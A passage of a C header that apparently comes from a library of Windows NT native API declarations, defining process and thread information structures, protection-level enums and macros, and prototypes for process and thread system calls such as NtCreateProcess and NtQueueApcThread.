ULONG ObjectTypeIndex;\n ULONG HandleAttributes;\n ULONG Reserved;\n} PROCESS_HANDLE_TABLE_ENTRY_INFO, *PPROCESS_HANDLE_TABLE_ENTRY_INFO;\n\n// private\ntypedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION\n{\n ULONG_PTR NumberOfHandles;\n ULONG_PTR Reserved;\n PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];\n} PROCESS_HANDLE_SNAPSHOT_INFORMATION, *PPROCESS_HANDLE_SNAPSHOT_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// private\ntypedef struct _PROCESS_MITIGATION_POLICY_INFORMATION\n{\n PROCESS_MITIGATION_POLICY Policy;\n union\n {\n PROCESS_MITIGATION_ASLR_POLICY ASLRPolicy;\n PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY StrictHandleCheckPolicy;\n PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY SystemCallDisablePolicy;\n PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY ExtensionPointDisablePolicy;\n PROCESS_MITIGATION_DYNAMIC_CODE_POLICY DynamicCodePolicy;\n PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY ControlFlowGuardPolicy;\n PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY SignaturePolicy;\n PROCESS_MITIGATION_FONT_DISABLE_POLICY FontDisablePolicy;\n PROCESS_MITIGATION_IMAGE_LOAD_POLICY ImageLoadPolicy;\n PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY SystemCallFilterPolicy;\n PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY PayloadRestrictionPolicy;\n PROCESS_MITIGATION_CHILD_PROCESS_POLICY ChildProcessPolicy;\n PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY SideChannelIsolationPolicy;\n };\n} PROCESS_MITIGATION_POLICY_INFORMATION, *PPROCESS_MITIGATION_POLICY_INFORMATION;\n\ntypedef struct _PROCESS_KEEPALIVE_COUNT_INFORMATION\n{\n ULONG WakeCount;\n ULONG NoWakeCount;\n} PROCESS_KEEPALIVE_COUNT_INFORMATION, *PPROCESS_KEEPALIVE_COUNT_INFORMATION;\n\ntypedef struct _PROCESS_REVOKE_FILE_HANDLES_INFORMATION\n{\n UNICODE_STRING TargetDevicePath;\n} PROCESS_REVOKE_FILE_HANDLES_INFORMATION, *PPROCESS_REVOKE_FILE_HANDLES_INFORMATION;\n\n// begin_private\n\ntypedef enum _PROCESS_WORKING_SET_OPERATION\n{\n ProcessWorkingSetSwap,\n ProcessWorkingSetEmpty,\n ProcessWorkingSetOperationMax\n} PROCESS_WORKING_SET_OPERATION;\n\ntypedef struct _PROCESS_WORKING_SET_CONTROL\n{\n ULONG Version;\n PROCESS_WORKING_SET_OPERATION Operation;\n ULONG Flags;\n} PROCESS_WORKING_SET_CONTROL, *PPROCESS_WORKING_SET_CONTROL;\n\ntypedef enum _PS_PROTECTED_TYPE\n{\n PsProtectedTypeNone,\n PsProtectedTypeProtectedLight,\n PsProtectedTypeProtected,\n PsProtectedTypeMax\n} PS_PROTECTED_TYPE;\n\ntypedef enum _PS_PROTECTED_SIGNER\n{\n PsProtectedSignerNone,\n PsProtectedSignerAuthenticode,\n PsProtectedSignerCodeGen,\n PsProtectedSignerAntimalware,\n PsProtectedSignerLsa,\n PsProtectedSignerWindows,\n PsProtectedSignerWinTcb,\n PsProtectedSignerWinSystem,\n PsProtectedSignerApp,\n PsProtectedSignerMax\n} PS_PROTECTED_SIGNER;\n\n#define PS_PROTECTED_SIGNER_MASK 0xFF\n#define PS_PROTECTED_AUDIT_MASK 0x08\n#define PS_PROTECTED_TYPE_MASK 0x07\n\n// vProtectionLevel.Level = PsProtectedValue(PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight)\n#define PsProtectedValue(aSigner, aAudit, aType) ( \\\n ((aSigner & PS_PROTECTED_SIGNER_MASK) << 4) | \\\n ((aAudit & PS_PROTECTED_AUDIT_MASK) << 3) | \\\n (aType & PS_PROTECTED_TYPE_MASK)\\\n )\n\n// InitializePsProtection(&vProtectionLevel, PsProtectedSignerCodeGen, FALSE, PsProtectedTypeProtectedLight)\n#define InitializePsProtection(aProtectionLevelPtr, aSigner, aAudit, aType) { \\\n (aProtectionLevelPtr)->Signer = aSigner; \\\n (aProtectionLevelPtr)->Audit = aAudit; \\\n (aProtectionLevelPtr)->Type = aType; \\\n }\n\ntypedef struct _PS_PROTECTION\n{\n union\n {\n UCHAR Level;\n struct\n {\n UCHAR Type : 3;\n UCHAR Audit : 1;\n UCHAR Signer : 4;\n };\n };\n} PS_PROTECTION, *PPS_PROTECTION;\n\ntypedef struct _PROCESS_FAULT_INFORMATION\n{\n ULONG FaultFlags;\n ULONG AdditionalInfo;\n} PROCESS_FAULT_INFORMATION, *PPROCESS_FAULT_INFORMATION;\n\ntypedef struct _PROCESS_TELEMETRY_ID_INFORMATION\n{\n ULONG HeaderSize;\n ULONG ProcessId;\n ULONGLONG ProcessStartKey;\n ULONGLONG CreateTime;\n ULONGLONG CreateInterruptTime;\n ULONGLONG CreateUnbiasedInterruptTime;\n ULONGLONG ProcessSequenceNumber;\n ULONGLONG SessionCreateTime;\n ULONG SessionId;\n ULONG BootId;\n ULONG ImageChecksum;\n ULONG ImageTimeDateStamp;\n ULONG UserSidOffset;\n ULONG ImagePathOffset;\n ULONG PackageNameOffset;\n ULONG RelativeAppNameOffset;\n ULONG CommandLineOffset;\n} PROCESS_TELEMETRY_ID_INFORMATION, *PPROCESS_TELEMETRY_ID_INFORMATION;\n\ntypedef struct _PROCESS_COMMIT_RELEASE_INFORMATION\n{\n ULONG Version;\n struct\n {\n ULONG Eligible : 1;\n ULONG ReleaseRepurposedMemResetCommit : 1;\n ULONG ForceReleaseMemResetCommit : 1;\n ULONG Spare : 29;\n };\n SIZE_T CommitDebt;\n SIZE_T CommittedMemResetSize;\n SIZE_T RepurposedMemResetSize;\n} PROCESS_COMMIT_RELEASE_INFORMATION, *PPROCESS_COMMIT_RELEASE_INFORMATION;\n\ntypedef struct _PROCESS_JOB_MEMORY_INFO\n{\n ULONGLONG SharedCommitUsage;\n ULONGLONG PrivateCommitUsage;\n ULONGLONG PeakPrivateCommitUsage;\n ULONGLONG PrivateCommitLimit;\n ULONGLONG TotalCommitLimit;\n} PROCESS_JOB_MEMORY_INFO, *PPROCESS_JOB_MEMORY_INFO;\n\ntypedef struct _PROCESS_CHILD_PROCESS_INFORMATION\n{\n BOOLEAN ProhibitChildProcesses;\n //BOOLEAN EnableAutomaticOverride; // REDSTONE2\n BOOLEAN AlwaysAllowSecureChildProcess; // REDSTONE3\n BOOLEAN AuditProhibitChildProcesses;\n} PROCESS_CHILD_PROCESS_INFORMATION, *PPROCESS_CHILD_PROCESS_INFORMATION;\n\ntypedef struct _PROCESS_WAKE_INFORMATION\n{\n ULONGLONG NotificationChannel;\n ULONG WakeCounters[7];\n struct _JOBOBJECT_WAKE_FILTER* WakeFilter;\n} PROCESS_WAKE_INFORMATION, *PPROCESS_WAKE_INFORMATION;\n\ntypedef struct _PROCESS_ENERGY_TRACKING_STATE\n{\n ULONG StateUpdateMask;\n ULONG StateDesiredValue;\n ULONG StateSequence;\n ULONG UpdateTag : 1;\n WCHAR Tag[64];\n} PROCESS_ENERGY_TRACKING_STATE, *PPROCESS_ENERGY_TRACKING_STATE;\n\ntypedef struct _MANAGE_WRITES_TO_EXECUTABLE_MEMORY\n{\n ULONG Version : 8;\n ULONG ProcessEnableWriteExceptions : 1;\n ULONG ThreadAllowWrites : 1;\n ULONG Spare : 22;\n PVOID KernelWriteToExecutableSignal; // 19H1\n} MANAGE_WRITES_TO_EXECUTABLE_MEMORY, *PMANAGE_WRITES_TO_EXECUTABLE_MEMORY;\n\n#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM 1\n#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM 2\n#define PROCESS_READWRITEVM_LOGGING_ENABLE_READVM_V 1UL\n#define PROCESS_READWRITEVM_LOGGING_ENABLE_WRITEVM_V 2UL\n\ntypedef union _PROCESS_READWRITEVM_LOGGING_INFORMATION\n{\n UCHAR Flags;\n struct\n {\n UCHAR EnableReadVmLogging : 1;\n UCHAR EnableWriteVmLogging : 1;\n UCHAR Unused : 6;\n };\n} PROCESS_READWRITEVM_LOGGING_INFORMATION, *PPROCESS_READWRITEVM_LOGGING_INFORMATION;\n\ntypedef struct _PROCESS_UPTIME_INFORMATION\n{\n ULONGLONG QueryInterruptTime;\n ULONGLONG QueryUnbiasedTime;\n ULONGLONG EndInterruptTime;\n ULONGLONG TimeSinceCreation;\n ULONGLONG Uptime;\n ULONGLONG SuspendedTime;\n union\n {\n ULONG HangCount : 4;\n ULONG GhostCount : 4;\n ULONG Crashed : 1;\n ULONG Terminated : 1; \n };\n} PROCESS_UPTIME_INFORMATION, *PPROCESS_UPTIME_INFORMATION;\n\ntypedef union _PROCESS_SYSTEM_RESOURCE_MANAGEMENT\n{\n ULONG Flags;\n struct\n {\n ULONG Foreground : 1;\n ULONG Reserved : 31;\n };\n} PROCESS_SYSTEM_RESOURCE_MANAGEMENT, *PPROCESS_SYSTEM_RESOURCE_MANAGEMENT;\n\n// private\ntypedef struct _PROCESS_SECURITY_DOMAIN_INFORMATION\n{\n ULONGLONG SecurityDomain;\n} PROCESS_SECURITY_DOMAIN_INFORMATION, *PPROCESS_SECURITY_DOMAIN_INFORMATION;\n\n// private\ntypedef struct _PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION\n{\n HANDLE ProcessHandle;\n} PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION, *PPROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION;\n\n// private\ntypedef struct _PROCESS_LOGGING_INFORMATION\n{\n ULONG Flags;\n struct\n {\n ULONG EnableReadVmLogging : 1;\n ULONG EnableWriteVmLogging : 1;\n ULONG EnableProcessSuspendResumeLogging : 1;\n ULONG EnableThreadSuspendResumeLogging : 1;\n ULONG Reserved : 28;\n };\n} PROCESS_LOGGING_INFORMATION, *PPROCESS_LOGGING_INFORMATION;\n\n// private\ntypedef struct _PROCESS_LEAP_SECOND_INFORMATION\n{\n ULONG Flags;\n ULONG Reserved;\n} PROCESS_LEAP_SECOND_INFORMATION, *PPROCESS_LEAP_SECOND_INFORMATION;\n\n// private\ntypedef struct _PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION\n{\n ULONGLONG ReserveSize;\n ULONGLONG CommitSize;\n ULONG PreferredNode;\n ULONG Reserved;\n PVOID Ssp;\n} PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, *PPROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION;\n\n// private\ntypedef struct _PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION\n{\n PVOID Ssp;\n} PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION, *PPROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION;\n\n// end_private\n\n#endif\n\n// Thread information structures\n\ntypedef struct _THREAD_BASIC_INFORMATION\n{\n NTSTATUS ExitStatus;\n PTEB TebBaseAddress;\n CLIENT_ID ClientId;\n ULONG_PTR AffinityMask;\n KPRIORITY Priority;\n LONG BasePriority;\n} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;\n\n// private\ntypedef struct _THREAD_LAST_SYSCALL_INFORMATION\n{\n PVOID FirstArgument;\n USHORT SystemCallNumber;\n#ifdef WIN64\n USHORT Pad[0x3]; // since REDSTONE2\n#else\n USHORT Pad[0x1]; // since REDSTONE2\n#endif\n ULONG64 WaitTime;\n} THREAD_LAST_SYSCALL_INFORMATION, *PTHREAD_LAST_SYSCALL_INFORMATION;\n\n// private\ntypedef struct _THREAD_CYCLE_TIME_INFORMATION\n{\n ULONGLONG AccumulatedCycles;\n ULONGLONG CurrentCycleCount;\n} THREAD_CYCLE_TIME_INFORMATION, *PTHREAD_CYCLE_TIME_INFORMATION;\n\n// private\ntypedef struct _THREAD_TEB_INFORMATION\n{\n PVOID TebInformation; // buffer to place data in\n ULONG TebOffset; // offset in TEB to begin reading from\n ULONG BytesToRead; // number of bytes to read\n} THREAD_TEB_INFORMATION, *PTHREAD_TEB_INFORMATION;\n\n// symbols\ntypedef struct _COUNTER_READING\n{\n HARDWARE_COUNTER_TYPE Type;\n ULONG Index;\n ULONG64 Start;\n ULONG64 Total;\n} COUNTER_READING, *PCOUNTER_READING;\n\n// symbols\ntypedef struct _THREAD_PERFORMANCE_DATA\n{\n USHORT Size;\n USHORT Version;\n PROCESSOR_NUMBER ProcessorNumber;\n ULONG ContextSwitches;\n ULONG HwCountersCount;\n ULONG64 UpdateCount;\n ULONG64 WaitReasonBitMap;\n ULONG64 HardwareCounters;\n COUNTER_READING CycleTime;\n COUNTER_READING HwCounters[MAX_HW_COUNTERS];\n} THREAD_PERFORMANCE_DATA, *PTHREAD_PERFORMANCE_DATA;\n\n// private\ntypedef struct _THREAD_PROFILING_INFORMATION\n{\n ULONG64 HardwareCounters;\n ULONG Flags;\n ULONG Enable;\n PTHREAD_PERFORMANCE_DATA PerformanceData;\n} THREAD_PROFILING_INFORMATION, *PTHREAD_PROFILING_INFORMATION;\n\n// private\ntypedef struct _RTL_UMS_CONTEXT\n{\n SINGLE_LIST_ENTRY Link;\n CONTEXT Context;\n PVOID Teb;\n PVOID UserContext;\n volatile ULONG ScheduledThread;\n volatile ULONG Suspended;\n volatile ULONG VolatileContext;\n volatile ULONG Terminated;\n volatile ULONG DebugActive;\n volatile ULONG RunningOnSelfThread;\n volatile ULONG DenyRunningOnSelfThread;\n volatile LONG Flags;\n volatile ULONG64 KernelUpdateLock;\n volatile ULONG64 PrimaryClientID;\n volatile ULONG64 ContextLock;\n struct _RTL_UMS_CONTEXT* PrimaryUmsContext;\n ULONG SwitchCount;\n ULONG KernelYieldCount;\n ULONG MixedYieldCount;\n ULONG YieldCount;\n} RTL_UMS_CONTEXT, *PRTL_UMS_CONTEXT;\n\n// private\ntypedef enum _THREAD_UMS_INFORMATION_COMMAND\n{\n UmsInformationCommandInvalid,\n UmsInformationCommandAttach,\n UmsInformationCommandDetach,\n UmsInformationCommandQuery\n} THREAD_UMS_INFORMATION_COMMAND;\n\n// private\ntypedef struct _RTL_UMS_COMPLETION_LIST\n{\n PSINGLE_LIST_ENTRY ThreadListHead;\n PVOID CompletionEvent;\n ULONG CompletionFlags;\n SINGLE_LIST_ENTRY InternalListHead;\n} RTL_UMS_COMPLETION_LIST, *PRTL_UMS_COMPLETION_LIST;\n\n// private\ntypedef struct _THREAD_UMS_INFORMATION\n{\n THREAD_UMS_INFORMATION_COMMAND Command;\n PRTL_UMS_COMPLETION_LIST CompletionList;\n PRTL_UMS_CONTEXT UmsContext;\n union\n {\n ULONG Flags;\n struct\n {\n ULONG IsUmsSchedulerThread : 1;\n ULONG IsUmsWorkerThread : 1;\n ULONG SpareBits : 30;\n };\n };\n} THREAD_UMS_INFORMATION, *PTHREAD_UMS_INFORMATION;\n\n// private\ntypedef struct _THREAD_NAME_INFORMATION\n{\n UNICODE_STRING ThreadName;\n} THREAD_NAME_INFORMATION, *PTHREAD_NAME_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n// private\ntypedef enum _SUBSYSTEM_INFORMATION_TYPE \n{\n SubsystemInformationTypeWin32,\n SubsystemInformationTypeWSL,\n MaxSubsystemInformationType\n} SUBSYSTEM_INFORMATION_TYPE;\n#endif\n\n// private\ntypedef enum _THREAD_WORKLOAD_CLASS\n{\n ThreadWorkloadClassDefault,\n ThreadWorkloadClassGraphics,\n MaxThreadWorkloadClass\n} THREAD_WORKLOAD_CLASS;\n\n// Processes\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateProcess(\n _Out_ PHANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ParentProcess,\n _In_ BOOLEAN InheritObjectTable,\n _In_opt_ HANDLE SectionHandle,\n _In_opt_ HANDLE DebugPort,\n _In_opt_ HANDLE ExceptionPort\n );\n\n#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001\n#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002\n#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004\n#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008\n#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateProcessEx(\n _Out_ PHANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ParentProcess,\n _In_ ULONG Flags,\n _In_opt_ HANDLE SectionHandle,\n _In_opt_ HANDLE DebugPort,\n _In_opt_ HANDLE ExceptionPort,\n _In_ ULONG JobMemberLevel\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenProcess(\n _Out_ PHANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PCLIENT_ID ClientId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTerminateProcess(\n _In_opt_ HANDLE ProcessHandle,\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSuspendProcess(\n _In_ HANDLE ProcessHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtResumeProcess(\n _In_ HANDLE ProcessHandle\n );\n\n#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)\n#define ZwCurrentProcess() NtCurrentProcess()\n#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)\n#define ZwCurrentThread() NtCurrentThread()\n#define NtCurrentSession() ((HANDLE)(LONG_PTR)-3)\n#define ZwCurrentSession() NtCurrentSession()\n#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock)\n\n// Windows 8 and above\n#define NtCurrentProcessToken() ((HANDLE)(LONG_PTR)-4)\n#define NtCurrentThreadToken() ((HANDLE)(LONG_PTR)-5)\n#define NtCurrentEffectiveToken() ((HANDLE)(LONG_PTR)-6)\n#define NtCurrentSilo() ((HANDLE)(LONG_PTR)-1)\n\n// Not NT, but useful.\n#define NtCurrentProcessId() (NtCurrentTeb()->ClientId.UniqueProcess)\n#define NtCurrentThreadId() (NtCurrentTeb()->ClientId.UniqueThread)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationProcess(\n _In_ HANDLE ProcessHandle,\n _In_ PROCESSINFOCLASS ProcessInformationClass,\n _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,\n _In_ ULONG ProcessInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetNextProcess(\n _In_opt_ HANDLE ProcessHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _In_ ULONG Flags,\n _Out_ PHANDLE NewProcessHandle\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WS03)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetNextThread(\n _In_ HANDLE ProcessHandle,\n _In_ HANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ ULONG HandleAttributes,\n _In_ ULONG Flags,\n _Out_ PHANDLE NewThreadHandle\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationProcess(\n _In_ HANDLE ProcessHandle,\n _In_ PROCESSINFOCLASS ProcessInformationClass,\n _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation,\n _In_ ULONG ProcessInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryPortInformationProcess(\n VOID\n );\n\n#endif\n\n// Threads\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateThread(\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ HANDLE ProcessHandle,\n _Out_ PCLIENT_ID ClientId,\n _In_ PCONTEXT ThreadContext,\n _In_ PINITIAL_TEB InitialTeb,\n _In_ BOOLEAN CreateSuspended\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenThread(\n _Out_ PHANDLE ThreadHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_opt_ PCLIENT_ID ClientId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTerminateThread(\n _In_opt_ HANDLE ThreadHandle,\n _In_ NTSTATUS ExitStatus\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSuspendThread(\n _In_ HANDLE ThreadHandle,\n _Out_opt_ PULONG PreviousSuspendCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtResumeThread(\n _In_ HANDLE ThreadHandle,\n _Out_opt_ PULONG PreviousSuspendCount\n );\n\nNTSYSCALLAPI\nULONG\nNTAPI\nNtGetCurrentProcessorNumber(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetContextThread(\n _In_ HANDLE ThreadHandle,\n _Inout_ PCONTEXT ThreadContext\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetContextThread(\n _In_ HANDLE ThreadHandle,\n _In_ PCONTEXT ThreadContext\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationThread(\n _In_ HANDLE ThreadHandle,\n _In_ THREADINFOCLASS ThreadInformationClass,\n _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation,\n _In_ ULONG ThreadInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetInformationThread(\n _In_ HANDLE ThreadHandle,\n _In_ THREADINFOCLASS ThreadInformationClass,\n _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation,\n _In_ ULONG ThreadInformationLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlertThread(\n _In_ HANDLE ThreadHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlertResumeThread(\n _In_ HANDLE ThreadHandle,\n _Out_opt_ PULONG PreviousSuspendCount\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtTestAlert(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtImpersonateThread(\n _In_ HANDLE ServerThreadHandle,\n _In_ HANDLE ClientThreadHandle,\n _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRegisterThreadTerminatePort(\n _In_ HANDLE PortHandle\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetLdtEntries(\n _In_ ULONG Selector0,\n _In_ ULONG Entry0Low,\n _In_ ULONG Entry0Hi,\n _In_ ULONG Selector1,\n _In_ ULONG Entry1Low,\n _In_ ULONG Entry1Hi\n );\n\ntypedef VOID (*PPS_APC_ROUTINE)(\n _In_opt_ PVOID ApcArgument1,\n _In_opt_ PVOID ApcArgument2,\n _In_opt_ PVOID ApcArgument3\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueueApcThread(\n _In_ HANDLE ThreadHandle,\n _In_ PPS_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcArgument1,\n _In_opt_ PVOID ApcArgument2,\n _In_opt_ PVOID ApcArgument3\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\n#define APC_FORCE_THREAD_SIGNAL ((HANDLE)1) // UserApcReserveHandle\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueueApcThreadEx(\n _In_ HANDLE ThreadHandle,\n _In_opt_ HANDLE UserApcReserveHandle,\n _In_ PPS_APC_ROUTINE ApcRoutine,\n _In_opt_ PVOID ApcArgument1,\n _In_opt_ PVOID ApcArgument2,\n _In_opt_ PVOID ApcArgument3\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\n// rev\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAlertThreadByThreadId(\n _In_ HANDLE ThreadId\n );\n\n// rev\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtWaitForAlertByThreadId(\n _In_ PVOID Address,\n _In_opt_ PLARGE_INTEGER Timeout\n );\n\n#endif\n\n#endif\n\n// User processes and threads\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\n// Attributes\n\n// private\n#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff\n#define PS_ATTRIBUTE_THREAD 0x00010000 // may be used with thread creation\n#define PS_ATTRIBUTE_INPUT 0x00020000 // input only\n#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // \"accumulated\" e.g. bitmasks, counters, etc.\n\n// private\ntypedef enum _PS_ATTRIBUTE_NUM\n{\n PsAttributeParentProcess, // in HANDLE\n PsAttributeDebugPort, // in HANDLE\n PsAttributeToken, // in HANDLE\n PsAttributeClientId, // out PCLIENT_ID\n PsAttributeTebAddress, // out PTEB *\n PsAttributeImageName, // in PWSTR\n PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION\n PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE\n PsAttributePriorityClass, // in UCHAR\n PsAttributeErrorMode, // in ULONG\n PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO\n PsAttributeHandleList, // in PHANDLE\n PsAttributeGroupAffinity, // in PGROUP_AFFINITY\n PsAttributePreferredNode, // in PUSHORT\n PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER\n PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES\n PsAttributeMitigationOptions, // in UCHAR\n PsAttributeProtectionLevel, // in ULONG\n PsAttributeSecureProcess, // since THRESHOLD\n PsAttributeJobList,\n PsAttributeChildProcessPolicy, // since THRESHOLD2\n PsAttributeAllApplicationPackagesPolicy, // since REDSTONE\n PsAttributeWin32kFilter,\n PsAttributeSafeOpenPromptOriginClaim,\n PsAttributeBnoIsolation, // PS_BNO_ISOLATION_PARAMETERS\n PsAttributeDesktopAppPolicy, // in ULONG\n PsAttributeChpe, // since REDSTONE3\n PsAttributeMax\n} PS_ATTRIBUTE_NUM;\n\n// begin_rev\n\n#define PsAttributeValue(Number, Thread, Input, Additive) \\\n (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \\\n ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \\\n ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \\\n ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))\n\n#define PS_ATTRIBUTE_PARENT_PROCESS \\\n PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE)\n#define PS_ATTRIBUTE_DEBUG_PORT \\\n PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE)\n#define PS_ATTRIBUTE_TOKEN \\\n PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE)\n#define PS_ATTRIBUTE_CLIENT_ID \\\n PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE)\n#define PS_ATTRIBUTE_TEB_ADDRESS \\\n PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE)\n#define PS_ATTRIBUTE_IMAGE_NAME \\\n PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_IMAGE_INFO \\\n PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE)\n#define PS_ATTRIBUTE_MEMORY_RESERVE \\\n PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_PRIORITY_CLASS \\\n PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_ERROR_MODE \\\n PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_STD_HANDLE_INFO \\\n PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_HANDLE_LIST \\\n PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_GROUP_AFFINITY \\\n PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE)\n#define PS_ATTRIBUTE_PREFERRED_NODE \\\n PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE)\n#define PS_ATTRIBUTE_IDEAL_PROCESSOR \\\n PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE)\n#define PS_ATTRIBUTE_UMS_THREAD \\\n PsAttributeValue(PsAttributeUmsThread, TRUE, TRUE, FALSE)\n#define PS_ATTRIBUTE_MITIGATION_OPTIONS \\\n PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE)\n#define 